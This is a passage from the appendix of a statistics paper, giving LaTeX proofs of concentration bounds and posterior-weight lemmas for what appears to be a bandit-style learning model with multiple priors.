for any $t$. Thus, $r_{t} : = \sqrt{(0.5/C) M} \sqrt{ \Lambda(t,|\Theta|) } $ and re-defining $M$ as $1/\gamma$ the desired result follows.
\end{proof}
\begin{proof} [Proof of Lemma \ref{lem:alpha.asymptotics.general}]
For any $(d,x) \in \mathbb{D} \times \mathbb{X}$ and any $o,o' \in \{0,...,L\}$ observe that
\begin{align*}
\frac{\alpha^{o}_{t}(d,x) }{ \alpha^{o'}_{t}(d,x) } = \frac{\int \exp \left\{ \sum_{s=1}^{t} 1\{D_{s}(x) = d \} \ell (Y_{s},\theta) \right\} \mu^{o}_{0}(d,x)(d\theta)} {\int \exp \left\{ \sum_{s=1}^{t} 1\{D_{s}(x) = d \} \ell(Y_{s},\theta) \right\} \mu^{o'}_{0}(d,x)(d\theta) }
\end{align*}
where $\ell(.,\theta) : = \log p_{\theta}(.)/p(. \mid d,x )$ and $p(\cdot | d,x)$ is the true PDF of $Y(d,x)$.
We observe that
\begin{align*}
& \int \exp \left\{ \sum_{s=1}^{t} 1\{D_{s}(x) = d \} \ell (Y_{s},\theta) \right\} \mu^{o}_{0}(d,x)(d\theta) \\
= & \int_{1}^{\infty} \mu^{o}_{0}(d,x) \left( \exp \left\{ \sum_{s=1}^{t} 1\{D_{s}(x) = d \} \ell (Y_{s},\theta) \right\} \geq u \right) du \\
= & N_{t}(d,x) \int_{0}^{\infty} \mu^{o}_{0}(d,x) \left( - N^{-1}_{t}(d,x) \sum_{s=1}^{t} 1\{D_{s}(x) = d \} \ell (Y_{s},\theta) \leq v \right) e^{-N_{t}(d,x)v} dv
\end{align*}
where the second equality is obtained by a change of variables $v = - N^{-1}_{t}(d,x) \log u$.
In addition, note that
\begin{align*}
N^{-1}_{t}(d,x) \sum_{s=1}^{t} 1\{D_{s}(x) = d \} \ell (Y_{s},\theta) = & \frac{t}{N_{t}(d,x)} t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta) \\
& + N^{-1}_{t}(d,x) \sum_{s=1}^{t} 1\{D_{s}(x) = d \} E[ \ell (Y_{s},\theta) \mid D_{s} ] \\
= & \frac{t}{N_{t}(d,x)} t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta) + E[ \ell (Y(d,x),\theta) ]
\end{align*}
where $g(Y_{s},D_{s},\theta) : = (1\{D_{s}(x) = d \} ( \ell (Y_{s},\theta) - E[ \ell (Y_{s},\theta) \mid D_{s}(x) ] ) $ and the last line follows because $1\{D_{s}(x) = d \} E[ \ell (Y_{s},\theta) \mid D_{s}(x) ] = E[ \ell (Y_{s},\theta) \mid D_{s}(x) = d ] = E[ \ell (Y_{s}(d,x),\theta) ]$ as $Y(d,x)$ is IID and in particular independent of $D_{s}(x)$.
By Lemma \ref{lem:uniform.LLN}, for any $\gamma>0$,
\begin{align*}
P \left( \sup_{\theta \in \Theta} \left| t^{-1} \sum_{s=1}^{t} g(Y_{s},D_{s},\theta) \right| \geq r_{t} \right) \leq \gamma,
\end{align*}
where $r_{t} = \sqrt{1/(2C \gamma) } t^{-0.5\frac{\kappa}{ |\Theta| + \kappa }} $ ($C$ is an universal constant defined inside the proof of the lemma).
Henceforth, fix $\gamma$. The previous result implies that, with probability greater than $1-\gamma$,
\begin{align*}
& \int \exp \left\{ \sum_{s=1}^{t} 1\{D_{s}(x) = d \} \ell (Y_{s},\theta) \right\} \mu^{o}_{0}(d,x)(d\theta) \\
\leq & N_{t}(d,x) \int_{0}^{\infty} \mu^{o}_{0}(d,x) \left( E[ - \ell (Y(d,x),\theta) ] - \frac{t r_{t}}{N_{t}(d,x)} \leq v \right) e^{-N_{t}(d,x)v} dv
\end{align*}
and
\begin{align*}
& \int \exp \left\{ \sum_{s=1}^{t} 1\{D_{s}(x) = d \} \ell (Y_{s},\theta) \right\} \mu^{o}_{0}(d,x)(d\theta) \\
\geq & N_{t}(d,x) \int_{0}^{\infty} \mu^{o}_{0}(d,x) \left( E[ - \ell (Y(d,x),\theta) ] + \frac{t r_{t}}{N_{t}(d,x)} \leq v \right) e^{-N_{t}(d,x)v} dv.
\end{align*}
Hence, since $KL_{d,x}(\theta) : = - E [ \ell (Y(d,x),\theta) ]$ it follows that, with probability greater or equal to $1-\gamma$,
\begin{align*}
\frac{\alpha^{o}_{t}(d,x) }{ \alpha^{o'}_{t}(d,x) } \leq & \frac{ N_{t}(d,x) \int_{0}^{\infty} \mu^{o}_{0}(d,x) \left( KL_{d,x}(\theta) - \frac{t r_{t}}{N_{t}(d,x)} \leq v \right) e^{-N_{t}(d,x)v} dv } { N_{t}(d,x) \int_{0}^{\infty} \mu^{o'}_{0}(d,x) \left( KL_{d,x}(\theta) + \frac{t r_{t}}{N_{t}(d,x)} \leq v \right) e^{-N_{t}(d,x)v} dv } \\
= & \frac{ N_{t}(d,x) \int_{0}^{\infty} \mu^{o}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) e^{-N_{t}(d,x) v + t r_{t} } dv } { N_{t}(d,x) \int_{0}^{\infty} \mu^{o'}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) e^{-N_{t}(d,x)v - t r_{t} } dv }
\end{align*}
and
\begin{align*}
\frac{\alpha^{o}_{t}(d,x) }{ \alpha^{o'}_{t}(d,x) } \geq & \frac{ N_{t}(d,x) \int_{0}^{\infty} \mu^{o}_{0}(d,x) \left( KL_{d,x}(\theta) + \frac{t r_{t}}{N_{t}(d,x)} \leq v \right) e^{-N_{t}(d,x)v} dv } { N_{t}(d,x) \int_{0}^{\infty} \mu^{o'}_{0}(d,x) \left( KL_{d,x}(\theta) - \frac{t r_{t}}{N_{t}(d,x)} \leq v \right) e^{-N_{t}(d,x)v} dv } \\
= & \frac{ N_{t}(d,x) \int_{0}^{\infty} \mu^{o}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) e^{-N_{t}(d,x)v - t r_{t} } dv } { N_{t}(d,x) \int_{0}^{\infty} \mu^{o'}_{0}(d,x) \left( KL_{d,x}(\theta) \leq v \right) e^{-N_{t}(d,x)v + t r_{t} } dv }
\end{align*}
where the second line(s) follow from a change of variable. Finally, it is easy to see that $u \mapsto \mu^{o}_{0}(d,x) \left( KL_{d,x}(\theta) \leq u \right) = : G_{d,x}(u)$ is a CDF.
\end{proof}
\begin{proof}[Proof of Lemma \ref{lem:alpha.bound} ]
Note that $\phi( m_{t}(d,x) ; \zeta^{o}_{0}(d,x) , ( N_{t}(d,x) + \nu^{o}_{0}(d,x) )/( N_{t}(d,x)\nu^{o}_{0}(d,x) ) ) = \phi( \bar{m}_{t}(d,x) - \bar{\zeta}^{o}_{0}(d,x) ; 0 , \sigma^{2}_{t}(d,x)) $, where $\sigma^{2}_{t}(d,x) : = ( N_{t}(d,x) + \nu^{o}_{0}(d,x) )/( N_{t}(d,x)\nu^{o}_{0}(d,x) ) $ and $\bar{.}$ indicates centered at $\theta(d,x)$.
Under $| \bar{m}_{t}(d,x) | \leq \delta$, if follows that
\begin{align*}
(\bar{m}_{t}(d,x) - \bar{\zeta}^{o}_{0}(d,x) )^{2} = & ( \bar{m}_{t}(d,x) )^{2} + (\bar{\zeta}^{o}_{0}(d,x) )^{2} - 2 \bar{m}_{t}(d,x) \bar{\zeta}^{o}_{0}(d,x) \\
\leq & \delta^{2} + (\bar{\zeta}^{o}_{0}(d,x) )^{2} - 2 \bar{m}_{t}(d,x) \bar{\zeta}^{o}_{0}(d,x) \\
\leq & \delta^{2} + (\bar{\zeta}^{o}_{0}(d,x) )^{2} + 2 | \bar{m}_{t}(d,x) | |\bar{\zeta}^{o}_{0}(d,x) |\\
\leq & \delta^{2} + (\bar{\zeta}^{o}_{0}(d,x) )^{2} + 2 \delta |\bar{\zeta}^{o}_{0}(d,x) | \\
= & ( \delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2}
\end{align*}
Therefore,
\begin{align*}
\log \phi( \bar{m}_{t}(d,x) - \bar{\zeta}^{o}_{0}(d,x) ; 0 , \sigma^{2}_{t}(d,x)) \geq & - \log \sigma_{t}(d,x) - 0.5 \frac{ ( \delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} } { \sigma^{2}_{t}(d,x) } + Cte\\
= & \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \sigma^{2}_{t}(d,x)) + Cte,
\end{align*}
where $Cte$ is an irrelevant constant.
Observe that $\sigma \mapsto \log \phi( y ; 0 , \sigma^{2}) $ is such that $\frac{d \log \phi( y ; 0 , \sigma^{2}) } {d\sigma} = - \sigma^{-1} + \sigma^{-3} y^{2} = \sigma^{-1} \left( \sigma^{-2} y^{2} - 1 \right) $, so it is decreasing if $y^{2} < \sigma^{2}$ and increasing if $y^{2} > \sigma^{2}$. Also, under $|f_{t}(d,x) - \pi_{t}(d,x)| \leq \eta$,
\begin{align*}
& \sigma^{2}_{t}(d,x) \geq \underline{\sigma}^{2}_{t}(d,x) : = 1/\nu^{o}_{0}(d,x) + t^{-1}/(\pi_{t}(d,x) + \eta) \\
~and~ & \sigma^{2}_{t}(d,x) \leq \overline{\sigma}^{2}_{t}(d,x) : = 1/\nu^{o}_{0}(d,x) + t^{-1} /(\pi_{t}(d,x) - \eta) .
\end{align*}
Hence, if $(\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} < \sigma^{2}_{t}(d,x)$ then
\begin{align*}
\log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \sigma^{2}_{t}(d,x)) \geq \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \overline{\sigma}^{2}_{t}(d,x))
\end{align*}
if $(\delta+ |\bar{\zeta}^{o}_{0}(d,x) | )^{2} > \sigma^{2}_{t}(d,x)$ then
\begin{align*}
\log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \sigma^{2}_{t}(d,x)) \geq \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \underline{\sigma}^{2}_{t}(d,x)) .
\end{align*}
Hence a possible lower bound is given by
\begin{align*}
\underline{\ell}( \eta ,\delta, |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) : = & 1\{ (\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} < \overline{\sigma}^{2}_{t}(d,x) \} \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \overline{\sigma}^{2}_{t}(d,x)) \\
& + 1\{ (\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} > \underline{\sigma}^{2}_{t}(d,x) \} \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \underline{\sigma}^{2}_{t}(d,x)) \} .
\end{align*}
To verify this is a valid lower bound, note that $(\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} < \sigma^{2}_{t}(d,x)$ implies that $(\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} < \overline{\sigma}^{2}_{t}(d,x)$ and thus
\begin{align*}
\underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) = \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \overline{\sigma}^{2}_{t}(d,x))
\end{align*}
which by our previous displays is indeed a valid lower bound when $(\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} < \sigma^{2}_{t}(d,x)$. Similarly, if $(\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} \geq \sigma^{2}_{t}(d,x)$, then $(\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} \geq \underline{\sigma}^{2}_{t}(d,x)$ and
\begin{align*}
\underline{\ell}( \delta , \eta, |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) = \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \underline{\sigma}^{2}_{t}(d,x))
\end{align*}
which, again, by our previous calculations is a valid lower bound when $(\delta + |\bar{\zeta}^{o}_{0}(d,x) | )^{2} > \sigma^{2}_{t}(d,x)$.
%
On the other hand,
\begin{align*}
(\bar{m}_{t}(d,x) - \bar{\zeta}^{o}_{0}(d,x) )^{2} \geq \max\{ (\bar{\zeta}^{o}_{0}(d,x) )^{2} - 2 \delta |\bar{\zeta}^{o}_{0}(d,x) | , 0 \}.
\end{align*}
Therefore,
\begin{align*}
\log \phi( \bar{m}_{t}(d,x) - \bar{\zeta}^{o}_{0}(d,x) ; 0 , \sigma^{2}_{t}(d,x)) \leq & - \log \sigma_{t}(d,x) - 0.5 \frac{ \max\{ (\bar{\zeta}^{o}_{0}(d,x) )^{2} - 2 \delta |\bar{\zeta}^{o}_{0}(d,x) | , 0 \} } { \sigma^{2}_{t}(d,x) } + Cte\\
\leq & - \log \underline{\sigma}_{t}(d,x) - 0.5 \frac{ \max\{ (\bar{\zeta}^{o}_{0}(d,x) )^{2} - 2 \delta |\bar{\zeta}^{o}_{0}(d,x) | , 0 \} } { \overline{ \sigma} ^{2}_{t}(d,x) } + Cte \\
= : & \overline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ).
\end{align*}
\end{proof}
\begin{proof}[Proof of Lemma \ref{lem:ell.properties}]
(1) The proof is omitted as these property readily follows from Lemma \ref{lem:alpha.bound}.
(2) We first observe that $\underline{\sigma}^{2}_{t}$ is decreasing as a function of $\eta$ and $\overline{\sigma}^{2}_{t}$ is increasing as a function of $\eta$.
Second, observe that $\overline{\ell}$ is decreasing as a function of $\underline{\sigma}^{2}_{t}$ and increasing as a function of $\overline{\sigma}^{2}_{t}$. Thus, $\overline{\ell}$ is increasing as a function of $\eta$.
Third, suppose $(\delta + |\bar{\zeta}^{o}_{0}(d,x)|)^{2} < \overline{\sigma}^{2}_{t}(d,x)$, then \begin{align*}
\underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) = \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \overline{\sigma}^{2}_{t}(d,x)).
\end{align*}
Since $x \mapsto \log \phi(\delta + |\bar{\zeta}^{o}_{0}(d,x)|;0,x)$ is decreasing when $(\delta + |\bar{\zeta}^{o}_{0}(d,x)|)^{2} < x$, it follows that the RHS of the display is decreasing as a function of $\eta$. Now suppose $(\delta + |\bar{\zeta}^{o}_{0}(d,x)|)^{2} > \underline{\sigma}^{2}_{t}(d,x)$, then
\begin{align*}
\underline{\ell}( \eta ,\delta , |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) = \log \phi( \delta ; - |\bar{\zeta}^{o}_{0}(d,x) | , \underline{\sigma}^{2}_{t}(d,x))
\end{align*}
and since $x \mapsto \log \phi(\delta + |\bar{\zeta}^{o}_{0}(d,x)|;0,x)$ is increasing when $(\delta + |\bar{\zeta}^{o}_{0}(d,x)|)^{2} > x$ and $\underline{\sigma}^{2}_{t}(d,x)$ is decreasing as a function of $\eta$, it follows that the RHS of the display is decreasing as a function of $\eta$.
Hence, we showed that $ \underline{\ell}( \eta ,\delta, |\bar{\zeta}^{o}_{0}(d,x) | , \nu^{o}_{0}(d,x) , \pi_{t}(d,x) ) $ is decreasing as a function of $\eta$.
(3) Follows by inspection of $ \underline{\ell}$ and $\overline{\ell}$.
(4) The proof is omitted as these property readily follows from Lemma \ref{lem:alpha.bound}.
(5) We do the proof for $\overline{\alpha}^{o}( \eta ,\delta , |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , e_{t}(d,x) )$ as the proof of $\overline{\alpha}^{o}( \eta ,\delta , |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) )$ is analogous. By property 2, $\exp \overline{\ell}$ is increasing and $\exp \underline{\ell}$ is decreasing. As both these quantities are positive and $\overline{\alpha}^{o}( \eta ,\delta , |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , e_{t}(d,x) )$ is essentially the ratio of the first over the second one, it follows that $\overline{\alpha}^{o}( \eta ,\delta , |\bar{\zeta}_{0}(d,x) | , \nu_{0}(d,x) , e_{t}(d,x) )$ is increasing in $\eta$. A similar argument delivers increasing in $\delta$.
\end{proof}
\section{Appendix for Section \ref{sec:avg.Y} }
\label{app:avg.Y}
The proof of Proposition \ref{pro:avg.Y} used the following lemma that establishes the rate at which $t^{-1} \sum_{s=1}^{t} Y_{s} $ concentrates around its average $ t^{-1} \sum_{s=1}^{t} \sum_{d=0}^{M} \theta(d) E_{\pi} [ \delta(Z_{s}) (d) ] = \sum_{d=0}^{M} e_{t}(d) \theta(d)$. Its proof is relegated towards the end of the section.
\begin{lemma}\label{lem:AvgY.model.o}
For any $\gamma>0$, any $d \in \{0,...,M\}$ and for any $t \geq e^{ 4 \varepsilon \mathbf{B}(\epsilon) } $ where $ \varepsilon = \max_{d} (M+1) \sqrt{ \left( \left( \frac{0.5}{ \theta(d) } \right)^{2} \mathbf{C}(\epsilon ) \right)^{-1} \log 3(M+1)/\gamma } $ ,
\begin{align*}
P_{\pi} \left( \left| t^{-1} \sum_{s=1}^{t} Y_{s} - \sum_{d=0}^{M} \theta(d) t^{-1} \sum_{s=1}^{t} E_{\pi} [ \delta(Z_{s}) (d) ] \right| > \Sigma_{1}( \gamma, t , \epsilon ) \right) \leq \gamma,
\end{align*}
where
\begin{align*}
\Sigma_{1}( \gamma, t , \epsilon ) : = (M+1) \max_{d} \left( \min \left\{ \frac{ \log t}{ 8 \upsilon( \sigma(d))^{2} } , \left( \frac{0.5}{ | \theta(d) | } \right)^{2} \mathbf{C}(\epsilon ) \right\} \right)^{-1/2} \sqrt{ \frac{\log t}{t} } \sqrt{ \log 3(M+1)/\gamma } ,
\end{align*}
and $\Sigma_{1}$ is decreasing in $\gamma$, decreasing in $t$ and non-increasing in $\epsilon$.
\end{lemma}
We now prove Proposition \ref{pro:avg.Y}.
\begin{proof}[Proof of Proposition \ref{pro:avg.Y}]
Observe that
\begin{align*}
t^{-1} \sum_{s=1}^{t} Y_{s} - \max_{d} \theta(d) = & t^{-1} \sum_{s=1}^{t} Y_{s} - \sum_{d=0}^{M} \theta(d) e_{t}(d) + \sum_{d=0}^{M} \theta(d) e_{t}(d) - \sum_{d=0}^{M} \theta(d) \delta (\theta)(d) \\
& + \sum_{d=0}^{M} \theta(d) \delta(\theta)(d) - \max_{d} \theta(d) \\
= & \left( t^{-1} \sum_{s=1}^{t} Y_{s} - \sum_{d=0}^{M} \theta(d) e_{t}(d) \right) + \left( \sum_{d=0}^{M} \theta(d) e_{t}(d) - \sum_{d=0}^{M} \theta(d) \delta(\theta)(d) \right) \\
& + \epsilon (M+1) \left( \frac{\sum_{d=0}^{M} \theta(d)} {M+1} - \max_{d} \theta(d) \right) \\
= : & Term1 + Term2 + Term3.
\end{align*}
Therefore,
\begin{align*}
& P_{\pi} \left( |t^{-1} \sum_{s=1}^{t} Y_{s} - \max_{d} \theta(d) | > \Sigma_{1}( \gamma, t , \epsilon ) + ||\theta ||_{1} t^{-1} \sum_{s=1}^{t} \Lambda_{s} ( \Delta , \bar{\zeta}_{0} , \nu_{0} , \epsilon ) + Bias(\epsilon) \right) \\
& \leq P_{\pi} \left( | Term_{1} | > \Sigma_{1}( \gamma, t , \epsilon ) \right) + 1 \left\{ |Term_{2} | > ||\theta ||_{1} t^{-1} \sum_{s=1}^{t} \Lambda_{s} ( \Delta , \bar{\zeta}_{0} , \nu_{0} , \epsilon ) \right\} + 1 \left\{ |Term_{3} | > Bias(\epsilon) \right\}.
\end{align*}
We now bound each of these terms.
Term1 is less than $\gamma$ by Lemma \ref{lem:AvgY.model.o}. Regarding Term2, observe that
\begin{align*}
Term2 = & \sum_{d=0}^{M} \theta(d) e_{t}(d) - \sum_{d=0}^{M} \theta(d) \delta(\theta)(d) \\
& = (1 - \epsilon (M+1) ) t^{-1} \sum_{s=1}^{t} \sum_{d=0}^{M} \theta(d) E_{\pi} \left[ 1\{ d = \arg\max_{a} \zeta^{\alpha}_{s}(a) \} - 1\{ d = \arg\max_{a} \theta(a) \} \right] .
\end{align*}
By convention, $ \arg\max_{a} \theta(a) = M$. Hence,
\begin{align*}
Term2 = & (1 - \epsilon (M+1) ) t^{-1} \sum_{s=1}^{t} \sum_{d=0}^{M} \theta(d) E_{\pi} \left[ 1\{ d = \arg\max_{a} \zeta^{\alpha}_{s}(a) \} - 1\{ d = \arg\max_{a} \theta(a) \} \right] \\
= & (1 - \epsilon (M+1) ) t^{-1} \sum_{s=1}^{t} \left( \sum_{d=0}^{M-1} \theta(d) P_{\pi}( \mathcal{M}_{s}(d) ) - \theta(M) (1-P_{\pi}( \mathcal{M}_{s}(M) ) ) \right),
\end{align*}
where for any $d < M$, $\mathcal{M}_{s}(d) : = \{ \zeta^{\alpha}_{s}(d) > \max_{a \ne d} \zeta^{\alpha}_{s}(a) \}$ and $\mathcal{M}_{s}(M) : = \{ \zeta^{\alpha}_{s}(M) \geq \max_{a \ne M} \zeta^{\alpha}_{s}(a) \} $, because, by convention, if there are ties, the last arm is played. Since, $ P_{\pi}( \mathcal{M}_{s}(d) ) \leq 1- P_{\pi}( \mathcal{M}_{s}(M) ) $, it follows that,
\begin{align*}
| Term2 | \leq & (1 - \epsilon (M+1) ) \left( \sum_{d=0}^{M} | \theta(d) | t^{-1} \sum_{s=1}^{t} (1-P_{\pi}( \mathcal{M}_{s}(M) ) ) \right) \\
= & (1 - \epsilon (M+1) ) \left(||\theta||_{1} t^{-1} \sum_{s=1}^{t} P_{\pi}( \exists d \colon \zeta^{\alpha}_{s}(d) > \zeta^{\alpha}_{s}(M) ) \right).
\end{align*}
By Proposition \ref{pro:PoMM.o} with $\varepsilon = 0$, for any $s \geq \exp\{ \max\{ 4 \max\{ \Gamma^{-1}_{+}(0.5(\varepsilon + \Delta)) , \Gamma^{-1}_{-}(0.5(\varepsilon + \Delta)) , 0\} \mathbf{B}(\epsilon) , 2 \upsilon \sigma(d)^{2} \} \} $,\footnote{$\Gamma_{+}$ and $\Gamma_{-}$ are defined in Lemma \ref{lem:UpperBound.zetabar.alpha}.}
\begin{align*}
P_{\pi}( \exists d \colon \zeta^{\alpha}_{s}(d) > \zeta^{\alpha}_{s}(M) ) \leq & 3 \sum_{d = 0}^{M-1} \exp \left\{ - \frac{s}{ \log s } (\max\{ \Gamma^{-1}( 0.5 \Delta , \bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{s}(d) ) , 0 \} )^{2} \mathbf{C}(\epsilon) \right\} \\
& + 3 \exp \left\{ - \frac{s}{ \log s } (\max\{ \Gamma^{-1}( 0.5 \Delta , - \bar{\zeta}_{0}(M) , \nu_{0}(M) , e_{s}(M) ) , 0 \} )^{2} \mathbf{C}(\epsilon) \right\} \\
= : & \Lambda_{s} ( \Delta , \bar{\zeta}_{0} , \nu_{0} , \epsilon )
\end{align*}
Thus,
\begin{align*}
1 \left\{ |Term2 | > ||\theta||_{1} t^{-1} \sum_{s=1}^{t} \Lambda_{s} ( \Delta , \bar{\zeta}_{0} , \nu_{0} , \epsilon ) \right\} = 0.
\end{align*}
Finally, it is clear that $1\{ | Term 3| > \epsilon (M+1) \left( \max_{d} \theta(d) - \frac{\sum_{d=0}^{M} \theta(d)} {M+1} \right) \} = 0$.
\end{proof}
\subsection{Proofs of Lemmas}
\begin{proof}[Proof of Lemma \ref{lem:AvgY.model.o} ]
Observe that \begin{align*}
t^{-1} \sum_{s=1}^{t} Y_{s} - \sum_{d=0}^{L} \theta(d) e_{t}(d) = & \sum_{d=0}^{L} t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} Y_{s} (d) - \sum_{d=0}^{L} \theta(d) e_{t}(d) \\
= & \sum_{d=0}^{L} t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} \bar{Y}_{s} (d) + \sum_{d=0}^{M} \theta (d) \{ t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} - e_{t}(d) \} \\
= & \sum_{d=0}^{L} t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} \bar{Y}_{s} (d) + \sum_{d=0}^{M} \theta (d) \{ f_{t}(d) - e_{t}(d) \} .
\end{align*}
Hence, for any $\varepsilon \geq 0$,
\begin{align*}
P_{\pi} \left( \left| t^{-1} \sum_{s=1}^{t} Y_{s} - \sum_{d=0}^{M} \theta(d) e_{t}(d) \right| > \varepsilon \right) \leq & \sum_{d=0}^{M} \left\{ P_{\pi} \left( | t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} \bar{Y}_{s} (d) | > 0.5 \varepsilon/(M+1) \right) \right. \\
& + \left. P_{\pi} \left( | \theta (d) \{ f_{t}(d) - e_{t}(d) \} | > 0.5 \varepsilon/(M+1) \right) \right\} .
\end{align*}
Let $\delta = \log 3(M+1)/\gamma$ and $\varepsilon $ be equal to $ \max_{d} (M+1) \sqrt{ \frac{ \log t }{t} \left( \min \left\{ \frac{ \log t}{ 8 \upsilon( \sigma(d))^{2} } , \left( \frac{0.5}{ \theta(d) } \right)^{2} \mathbf{C}(\epsilon ) \right\} \right)^{-1} \delta } $. We now invoke Lemmas \ref{lem:concentration.freq} and \ref{lem:concentration.avgt}, and for this we need to check that for our choice of $(t,\varepsilon)$ it follows that $t \geq e^{ 4 \varepsilon \mathbf{B}(\epsilon) } $. To do this, note that $t \mapsto \log t/t$ has its maximum at $t=e$ and its value is $1/e < 1$. Hence, $ \varepsilon \mathbf{B} (\epsilon) \leq \max_{d} (M+1) \sqrt{ \left( \left( \frac{0.5}{ \theta(d) } \right)^{2} \mathbf{C}(\epsilon ) \right)^{-1} \delta } \mathbf{B} (\epsilon) $. By assumption $t$ is higher than this last quantity and thus the desired property holds.
Hence, it follows that
\begin{align*}
P_{\pi} \left( | t^{-1} \sum_{s=1}^{t} 1\{ D_{s} = d \} \bar{Y}_{s} (d) | > 0.5 \varepsilon/(M+1) \right) \leq & 2 e^{ - 0.5 t \left( 0.5 \varepsilon/(M+1) \right)^{2}/(( \upsilon \sigma(d))^{2} ) } \\
= & 2 e^{ - 0.5 \frac{t}{\log t} \left( \frac{0.5 \varepsilon}{(M+1) } \right)^{2} \frac{ \log t}{ \upsilon( \sigma(d))^{2} } }
\end{align*}
and
\begin{align*}
P_{\pi} \left( | \theta (d) \{ f_{t}(d) - e_{t}(d) \} | > 0.5 \varepsilon/(M+1) \right) \leq e^{ - \frac{t}{\log t } \left( \frac{0.5 \varepsilon}{(M+1) \theta(d) } \right)^{2} \mathbf{C}(\epsilon ) }.
\end{align*}
Therefore,
\begin{align*}
P_{\pi} \left( \left| t^{-1} \sum_{s=1}^{t} Y_{s} - \sum_{d=0}^{M} \theta(d) e_{t}(d) \right| > \varepsilon \right) \leq 3\sum_{d=0}^{M} e^{ - \frac{t}{\log t} \left( \frac{\varepsilon}{M+1} \right)^{2} \min \left\{ \frac{ \log t}{ 8 \upsilon( \sigma(d))^{2} } , \left( \frac{0.5}{ \theta(d) } \right)^{2} \mathbf{C}(\epsilon ) \right\} } .
\end{align*}
And by our choice of $\varepsilon$, it follows that
\begin{align*}
& P_{\pi} \left( \left| t^{-1} \sum_{s=1}^{t} Y_{s} - \sum_{d=0}^{M} \theta(d) e_{t}(d) \right| > (M+1) \max_{d} \sqrt{ \frac{ \log t }{t} \left( \min \left\{ \frac{ \log t}{ 8 \upsilon( \sigma(d))^{2} } , \left( \frac{0.5}{ \theta(d) } \right)^{2} \mathbf{C}(\epsilon ) \right\} \right)^{-1} \delta } \right) \\
\leq & 3(M+1) e^{ - \delta } .
\end{align*}
Since $\delta = \log 3(M+1)/\gamma$ the desired result follows.
\end{proof}
\section{Appendix for Section \ref{sec:zeta.concentration}}
\label{app:zeta.concentration}
Recall that for any $d \in \{0,...,M\}$ and $t \geq 0$,\footnote{If $f_{t+1}(d) = 0$, then we set $m_{t+1} = 0$.} $$N_{t+1}(d) : = \sum_{s=1}^{t+1} 1\{ D_{s} = d \}, $$ $$ J_{t+1}(d) : = \sum_{s=1}^{t+1} 1\{D_{s}=d\} Y_{s}(d) /(t+1) , $$ $$f_{t+1}(d) : = \sum_{s=1}^{t+1} 1\{ D_{s} = d \} /(t+1), $$ $$m_{t+1}(d) : = J_{t}(d)/f_{t}(d) = \sum_{s=1}^{t+1} 1\{ D_{s} = d \} Y_{s}(d) /N_{t+1}(d) ,$$ and $$e_{t+1}(d) : = \sum_{s=1}^{t+1} E_{\pi} [ 1\{ D_{s} = d \} ] /(t+1) = \sum_{s=1}^{t+1} E_{\pi} [ \delta(Z_{s})(d) ] /(t+1) $$ where the last equality follows from the LIE.
The quantity $\bar{Y}_{t}$ is defined as $Y_{t} - \theta$; $\bar{J}_{t}$ and $\bar{m}_{t}$ are defined as the original quantities but with $\bar{Y}_{t}$ instead of $Y_{t}$.
\subsection{Bounds for Posterior Means}
Observe that for any $o \in \{0,...,L\}$ and any $t\geq 0$,
\begin{align*}
\zeta^{o}_{t}(d) = \frac{1}{ f_{t}(d) + \nu^{o}_{0} (d) /t } \left( J_{t}(d) + \zeta^{o}_{0}(d) \nu^{o}_{0} (d) /t \right).
\end{align*}
The next lemma provides a non-stochastic bound for the RHS when $J_{t}(d)$ is within $\gamma \geq 0$ of 0 and $f_{t}(d)$ is within $\gamma \geq 0$ of $e_{t}(d)$; the proof is relegated to the end of the section. For this, let $ \Omega : \mathbb{R} \times \mathbb{R} \times \mathbb{Q}_{+} \times [0,1] \rightarrow \mathbb{R}$ with
\begin{align*}
